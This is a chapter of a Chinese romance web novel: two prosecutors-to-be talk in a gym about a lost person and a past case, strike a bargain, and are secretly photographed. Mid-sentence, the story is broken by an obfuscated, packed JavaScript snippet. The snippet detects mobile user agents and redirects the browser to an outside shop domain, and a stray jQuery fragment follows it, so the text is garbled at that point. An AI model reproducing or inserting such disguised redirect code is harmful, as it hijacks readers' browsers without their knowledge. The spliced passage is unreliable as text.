瞿清许还是第一次来检察院二楼的职工健身馆。下班时间已过,隔着玻璃门,整个空旷的场馆尽收眼底,一览无余。
他推开门,刚迈进去一步,一声悠长而尖利的塑胶摩擦声传来:
“斯拉——”
砰砰两声闷响,瞿清许循声回头,隔着大半个场地,看到角落里一个摇晃着的圆柱沙袋,以及那后面放下戴着拳套的手的青年。
闻序直起身,与瞿清许默默对视了几秒钟,偏过头。
“这可不是你能来的地方。”他说。
瞿清许没说话,抬脚向他走来。闻序伸手扶住晃悠的沙袋,少了巨物的遮挡,视线里那个青年清瘦的身影才得以完整,慢慢在他视野中靠近,放大。
打拳暴汗,闻序只穿了短袖的运动服,却还是年轻火气大,开了边上的窗户通风。他忽然发现瞿清许穿得也很单薄,衬衫收拢进劲韧的窄腰长裤里,袖子挽起来,露出omega洁白的腕子和线条清减的小臂。
瞿清许在他面前站定。
“我是来找你的。”瞿清许说着,看了那沙袋一眼,“不过不耽误你练拳,你继续。”
闻序已经对他奇怪的作风见怪不怪,也不推辞,当真转过身,沉下身子,曲起双肘。
砰!
一拳带着刚劲的风,敦实的沙袋顿时荡出老远。闻序吐出口气,没等收拳,听到身侧瞿清许走了几步,意味不明地笑了声:
“好身手。”
傻子都听得出他在敷衍。闻序克制住看他的冲动,活动了一下肩膀:“找我什么事。”
瞿清许的脚步声越来越远,声音也随着距离的扩大而在场地内带出悠悠的回音:
“几天前,你去跟踪谭峥和那个武装部的陈泳,有没有什么收获?”
闻序又打几下快拳,喘了口气:“你当时调查的方向是对的,陈泳和谭峥之间的确有违规交易,似乎和六年前五·三一的结案有关,自然了,也和……”
他盯着沙袋,语气忽然一沉。
“也和你的好朋友,楚家少爷有关。”
闻序道。
健身馆内一时陷入寂静。闻序收了屈膝预备的姿势,好整以暇地站稳,褪下一只拳套,又低头去扯下另外一只。不知道为什么,他心里突然酸酸的不是滋味儿,有种说不清的窝囊感。
方鉴云为什么不解释?这个时候,换做常人都该解释的,他是出于高高在上的态度、认为对他这有名无实的联姻对象根本无需多言,还是压根就没想要私藏祸心,点明了就要给楚家翻供?
沉默越久,他的心反而越喧嚣。终于,青年忍不住转身:
“没听清吗?我说,谭峥他们提到你那位姓楚的朋友的大名了!”
话音还没落地,青年铅灰色的瞳孔蓦然睁大。
敞开的窗台边,那人随手捞过折叠椅上搭着的,属于闻序的那件制服外套,披在肩上,接着身子一靠,慵懒地倚在床边。青年的身影背着光,衬得蓬软的头发丝愈发浓墨重彩的黑,连那根朴素的发簪也在光下沉淀出一道纤细的影。
闻序看着青年包裹在宽大到不合身的硬挺制服下,一瞬间愣了,不自觉地咽了下口水。
“你笑什么?”
他问。瞿清许尾音上挑地嗯了一声:
“我没笑啊。”
闻序眨了眨眼睛。待视线聚焦,他这才看清那张隐没在阴影下的脸。
恬淡,俊秀,端正,唯独没有笑容,平静如水。
“……我看错了。”他迅速正色,清清嗓子,“干什么,这不是你的衣服。”
瞿清许一脸“我知道啊”的表情:“外面风大,天冷。”
闻序迟钝地意识到,两个人的话题又开始向着没营养的方向脱缰狂奔。他走上前:
“这是我的衣服。”
瞿清许正要拢一拢衣服,闻言动作顿住,慢慢放下手,卷翘的睫毛微垂。
“我不知道。”他说,“抱歉,顺手就披上了。”
见对方自然地让了一步,闻序忽然也跟着一怔。心上像是拉紧了一根弦,青年蝶翼般的睫羽稍有失落地忽闪,他心里便一阵猝不及防的震颤。
他抿了抿唇,继续走过来。瞿清许以为闻序要拿衣服,下意识要直起身:“给……”
下一秒,闻序抬起的胳膊与青年瘦削的肩头擦过,瞿清许的声音一下子截断在了喉咙。
闻序没有拿走外套,反而一手撑着窗台,探身向前,另一只手抓住把手,将打开的窗关上。青年高大的身躯倾覆地靠拢过来,几乎以一个环抱的姿势将他禁锢在他怀里。
瞿清许的身子登时从头僵到脚。他怔怔抬起头,鼻尖刚到青年的下颌,连闻序颈侧青色的血管、皮肤上细小的汗毛都清晰可见,近在咫尺的手臂肌肉贲张而流畅,对方身上还带着运动过后蓬勃的、温热的气息。
以及一种淡淡的、凑近了才能嗅到的alpha信息素的味道。
瞿清许呼吸一滞,抓着衣襟的手立时缩紧,纤细的手指微微打颤。闻序关了窗户方才撤身,却没急着后退,仍在原地站着,二人的距离还保持在一个有些暧昧的、快要交换呼吸的距离。
心里怦然跳得越来越快,瞿清许下意识咬了下唇瓣,强装镇定地抬眼。
“披着吧。”
闻序垂眼,目光在瞿清许那上下滚动的喉结上停留片刻,嘴唇小幅度动了动,“场馆太大,关了窗也很冷。给你冻出什么病来,我可赔罪不起。”
瞿清许张了张唇,却依旧失语。闻序终于倒退了两步,在旁边的椅子上坐下,没有看见瞿清许的身体陡然垮了一般松懈下来。
“现在的麻烦不在于谭峥,”闻序总算恩赐一般率先开口,把话题拉回正轨,“他和陈泳的交易是双向的,这也就意味着检察院需要让警方配合,至少要让他们出具调查令——”
“闻序。”
青年停下话头,转过脸来,对上瞿清许漆黑的眼睛。从侧面看上去,瞿清许双腿细长而直,身体线条更加凌厉、素简,唯有裹在闻序外套里的上半身更显消瘦,有种惹人怜爱的脆弱感。
瞿清许并没有插科打诨的神情,不加掩饰地盯着他。
“你练拳击看起来很久了。”他问,“这是你的爱好吗,还是习惯?”
理智告诉闻序应该忽略这个问题,可或许眼前人的磁场太奇怪,竟就这样推动着他脱口而出:
“是遗憾。”
瞿清许眼底闪过一丝深沉的光。
“也是因为……他?”
闻序阖了阖眼。
“小的时候,我只会和同龄孩子在街头打野架。”闻序靠在椅背上,“我忘了自己遇到他的契机,也忘了六年前,五·三一的那一天究竟发生了什么,但我总是感觉,假如当时我能更强大一点,或许就能保护他,也不至于和他走散。”
他微不可闻地叹了口气。
“有段时间,我想起来自己曾经在一家律所实习打工,可为什么会来,又为什么想要成为一名检察官,这些过往我统统想不起来。后来我才明白,但凡是我缺失的记忆,都和他有关——我猜说不定就是因为他,我才想要做检察官的。”
闻序说着耸耸肩膀,笑了一声:“那段时间我身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658601|144024||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
无分文,别说保持治疗,连活着都很艰难,只能到处打工,一边利用一切零散的时间学习,好不容易攒够了报考费用,第一次考试又被走后门的富二代挤掉了名额……后来我那个医生说,如果我没有错过最佳治疗期,或许早该想起来自己忘掉的那个人了。”
闻序回忆着,无奈地摇头:
“最高检的考试我参加了好多次,每次都差那临门一脚,便被有后台的考生捷足先登。不过那时我拼着一股劲儿愣是不气馁,现在想想真是够傻,就好像考上了,自己就完成了和那个人的夙愿似的……”
他不经意间一转头,视线对上青年的,倏地一怔。
“你……”闻序有点儿无措,“你这么看着我干嘛?”
瞿清许正无言地望着他,墨色的眼底眸光粼粼波动,眉间微蹙着,唇瓣紧抿。这一次对方没有避开目光,下颌微动了动,一瞬不瞬地凝视着他,满目心疼。
“这几年,你一定为他吃了不少苦。”
瞿清许说。
好久没有过异动的太阳穴忽然传来撕扯般的疼,闻序猛地闭上眼,脑海深处某种桎梏的回忆仿佛要冲破牢笼、尖叫着逃出。
他好像见过——他一定在哪里见过这种眼神。
怜恤的、悲悯的、温柔的、垂爱的,却不高高在上,仿佛神祇走下圣坛,拥抱受难的信众。
闻序嘴唇颤抖了一下,睁开眼:
“怎么,以为我在和你卖惨?”
瞿清许慢慢摇了摇头,肩头披着的柔软的发丝扫过闻序制服外套立起的领口。
“我是真心的。”瞿清许说,“你为他做了这么多,如果他知道,一定会很感动。”
闻序看了他一眼,面儿上还板着脸,语气却柔和下来。
“他不会知道的。这么多年没有联络,或许他以为是我不要他了。”他说。
瞿清许始终目不转睛地深望着他,忽然舔了下唇,眸光一动。
“我来帮你怎么样?”
闻序刷地抬头,身子也坐直了。
“你说什么?”他格外难以置信,“你怎么愿意——你有什么方法找一个连我都不记得的人?这可比大海捞针还要难!”
瞿清许倒是平静得不得了:
“你在首都无权无势,没有人脉,想打听一个人自然难如登天。我父亲在首都认识不少朋友,说不定谁就能知道你说的这个姓瞿的人的下落。至于我这么做的目的——”
他一借力起身,披着闻序的外套,款款上前,居高临下地看着坐在椅子上发愣的青年,嘴角勾了勾。
“我自然也有我交换的条件。”他道,“从今天开始,你的任何行动必须和我一起,不许对我有所隐瞒,你我情报共享。答应,还是不答应?”
明明含笑似轻佻,可看着那认真的双眼,闻序的呼吸莫名停了一拍。
良久,他站起身,看着瞿清许,一字一顿。
“好,那我们一言为定。”
*
窗外。
隔着一条马路的检察院对面楼下,一辆轿车慢慢摇上车窗。车内的男子最后看了眼二楼窗边影影绰绰的两个人影,恶劣地轻声低笑,低头在数码照相机上按动几下。
电子屏幕上赫然出现了一扇放大的窗,拉大的画面模糊了像素点,可依然能清楚地看见画面中央闻序那张英俊、棱角分明的脸,以及一个披着不合身的制服外套,留着半扎长发的纤长背影。
“这下能交差了……”
男人哼了哼,放下照相机。
车子很快启动,随着逐渐跌落的残阳,消失在道路远方。